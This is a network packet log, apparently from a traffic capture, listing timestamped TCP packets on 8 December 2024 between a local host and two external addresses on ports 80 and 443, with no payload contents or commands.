Dec 8, 2024 17:45:47.964468002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.964530945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.964541912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.964718103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.965301991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.965384960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.965488911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.965543032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.966447115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.966521978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.966557980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.966622114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.967524052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.967597008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.967650890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.967715979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.968641996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.968683004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.968738079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.968899012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.969742060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.969832897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.969899893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.970002890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.970944881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.970995903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.970999002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.971035004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.972001076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.972050905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.972121000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.972209930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.973110914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.973154068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.973180056 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.973190069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.978765011 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.978786945 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.978863001 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.978885889 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.978910923 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.978935003 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.026072025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.026181936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.026215076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.026302099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.026557922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.026633978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.026798010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.026843071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.026861906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.026894093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.027910948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.028021097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.028027058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.028076887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.029038906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.029088974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.029150963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.029211044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.030267954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.030339956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.030378103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.030378103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.031359911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.031421900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.031459093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.031586885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.032505035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.032557011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.032560110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.032624960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.033534050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.033593893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.033643007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.033788919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.034646988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.034703970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.034725904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.034780979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.035765886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.035837889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.035854101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.036051035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.036933899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.037017107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.037139893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.038000107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.038059950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.038117886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.038186073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.039262056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.039330959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.039359093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.039401054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.040257931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.040328979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.040350914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.040400982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.041378021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.041436911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.041457891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.041557074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.042546988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.042608023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.042637110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.042690039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.043565989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.043693066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.043725967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.043806076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.044670105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.044732094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.044804096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.044847965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.046107054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.046164989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.046197891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.046197891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.046911001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.046999931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.047030926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.047072887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.048044920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.048108101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.048121929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.048182964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.049202919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.049282074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.049289942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.049385071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.050503016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.050568104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.050575018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.050615072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.051469088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.051583052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.051601887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.051635027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.052525043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.052659988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.052706003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.052706003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.053647041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.053730011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.053783894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.053833961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.054775000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.054852009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.054883003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.055000067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.055850029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.055902958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.056045055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.056178093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.056984901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.057059050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.057106972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.057172060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.058129072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.058193922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.058224916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.058278084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.059258938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.059319973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.059400082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.059478045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.060352087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.060471058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.060477018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.060551882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.061456919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.061551094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.061563969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.061610937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.092798948 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.092818022 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.092916965 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.092935085 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.093035936 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.144562006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.144625902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.144696951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.144733906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.145076990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.145158052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.145360947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.145374060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.145458937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.145458937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.146405935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.146542072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.146559000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.146636963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.147500038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.147608995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.147681952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.147681952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.148614883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.148720026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.148747921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.148762941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.149662018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.149725914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.149745941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.149811029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.150795937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.150863886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.150878906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.150957108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.151875973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.151930094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.151937962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.151964903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.152363062 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.152381897 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.152442932 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.152452946 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.152477026 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.152499914 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.152913094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.153024912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.153095007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.154023886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.154107094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.154129982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.154253006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.155132055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.155198097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.155244112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.155303955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.156265020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.156338930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.156359911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.156410933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.157545090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.157602072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.157639027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.157684088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.158417940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.158474922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.158492088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.158617973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.159506083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.159559965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.159560919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.159713030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.160573959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.160598040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.160624981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.160734892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.161721945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.161775112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.161819935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.161868095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.162786007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.162837982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.162880898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.162951946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.163841009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.163883924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.163893938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.163999081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.164943933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.165019035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.165030956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.165057898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.202200890 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.202217102 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.202286959 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.202296019 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.202327013 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.218511105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.218575954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.218683004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.218765020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.218978882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.219059944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.219171047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.220007896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.220087051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.220119953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.220199108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.221054077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.221116066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.221230984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.222023964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.222106934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.222138882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.222184896 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.223088980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.223145008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.223305941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.223356009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.224102020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.224162102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.224165916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.224230051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.225116014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.225172997 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.225219965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.225300074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.226118088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.226171970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.226228952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.226295948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.227097034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.227185011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.227231026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.227400064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.228125095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.228137016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.228200912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.229146004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.229195118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.229279041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.229321003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.230163097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.230218887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.230246067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.230285883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.231170893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.231281042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.231287003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.231329918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.232160091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.232209921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.232284069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.232340097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.233185053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.233237982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.233289957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.233356953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.234352112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.234373093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.234452963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.235224009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.235285044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.235327959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.235374928 CET	49805	80	192.168.2.6	185.215.113.206
